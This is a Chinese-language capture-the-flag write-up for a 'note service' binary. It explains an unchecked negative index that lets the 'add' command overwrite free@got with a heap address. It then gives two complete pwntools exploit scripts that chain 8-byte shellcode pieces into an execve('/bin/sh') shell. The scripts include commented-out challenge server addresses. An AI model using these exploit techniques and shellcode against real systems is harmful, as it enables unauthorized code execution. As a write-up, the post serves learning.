比赛中这道差那么一点点就做出来了
1.menu
---------menu---------
1. add note
2. show note
3. edit note
4. del note
5. exit
your choice>>
2. add
1. add note
2. show note
3. edit note
4. del note
5. exit
your choice>> 1
index:0
size:100
3. delete
---------menu---------
1. add note
2. show note
3. edit note
4. del note
5. exit
your choice>> 4
index:0
幸得
gd
老哥提醒, 发现这个是一个数组越界的漏洞.add
的时候, 程序不会检查index
的正负, 这就造成数组向前越界的可能性.实际上也是这么利用的.
思路: 通过数组越界修改 free@got
的值为堆的地址. 堆中有我们构造好的shellcode
, 程序就会去执行shellcode
. 比较坑的是, 每次我们只能输入8 byte
的内容. 下面是两种实现方案:
方案一:
通过先执行
read
系统调用, 然后读取x64
版本的shellcode
, 执行流跳转至该shellcode
, 由于本帖是求助的, exp就不展开讲了, 可以直接使用(Ubuntu 16.04.4 lts
)
#!/usr/bin/env python
'''
by gd大佬
'''
from pwn import *
context.log_level = "debug"
elf = "./task_note_service2"
ENV = {"LD_PRELOAD":"./libc.so.6"}
p = process(elf)
#p = remote("49.4.23.66", 31430)
def add(idx, s):
p.recvuntil("your choice>> ")
p.sendline("1")
p.recvuntil("index:")
p.sendline(str(idx))
p.recvuntil("size:")
p.sendline("8")
p.recvuntil("content:")
p.send(s)
def delete(idx):
p.recvuntil("your choice>> ")
p.sendline("4")
p.recvuntil("index:")
p.sendline(str(idx))
add(-0x11, "\x58\x58\x58\x58\x00\x00\x00")
'''
pop rax
pop rax
pop rax
pop rax
add BYTE PTR [rax], al
'''
add(0x11, "\x48\x89\xfe\x48\xc7\xc7\x00")
'''
mov rsi, rdi
mov rdi, 0x0
'''
add(0x11, "\xB8\x00\x00\x00\x00\x0F\x05")
'''
mov eax, 0
syscall
'''
gdb.attach(p)
delete(0x11)
payload = p8(0)*0x7
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
payload += "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
'''
xor esi, esi
movabs rbx,0x68732f2f6e69622f
push rsi
push rbx
push rsp
push rdi
push 0x3b
pop rax
xor edx, edx
syscall
'''
p.sendline(payload)
p.interactive()
方案二
思路: 就是利用跳转, 由于只能输入
8 byte
造成shellcode
不能连续, 我就想到了跳转, 每段shellcode
结束时, 跳转到下一段shellcode
, 跳转位置我们可以通过相对地址来确定. 废了老大的劲儿, 才将shellcode
调成每一行最多5 byte
from pwn import *
p = process("./task_note_service2")
#p = remote("117.78.43.127",32059)
context.log_level = 'debug'
def add(index, size, content):
p.recvuntil("your choice>> ")
p.sendline("1")
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("content:")
p.sendline(content)
def delete(index):
p.recvuntil("your choice>> ")
p.sendline("4")
p.recvuntil("index:")
p.sendline(str(index))
def exit():
p.recvuntil("your choice>> ")
p.sendline("5")
offset = 17
add(-17, 8, "\x48\x31\xc0\x50\xeb\x1a") # xor rax, rax push rax
add(0, 8, "\x48\x31\xf6\x53\xeb\x1a") #xor rsi, rsi push rbx
add(1, 8, "\xbb\x2f\x62\x69\x6e\xeb\x19") #mov rbx, 0x6e69622f
add(2, 8, "\x48\x89\x1c\x24\xeb\x1a") #mov [rsp], rbx
add(3, 8, "\xbb\x2f\x73\x68\x00\xeb\x19") #mov rbx, 0x68732f2f
add(4, 8, "\x48\x89\x5c\x24\x04\xeb\x19") #mov [rsp+4], rbx
add(5, 8, "\x54\x5f\x5b\x5e\xeb\x1a") #push rsp pop rdi pop rbx pop rsi
add(6, 8, "\x48\x31\xd2\xb0\x3b\x0f\x05")
'''
sc = """
xor rdx,rdx
mov al,0x3b
syscall
"""
shellcode = asm(sc,arch = "amd64",os = "linux")
add(6, 8, shellcode) #
gdb.attach(p)
'''
delete(2)
#log.info("execve shellcode")
p.interactive()
文件下载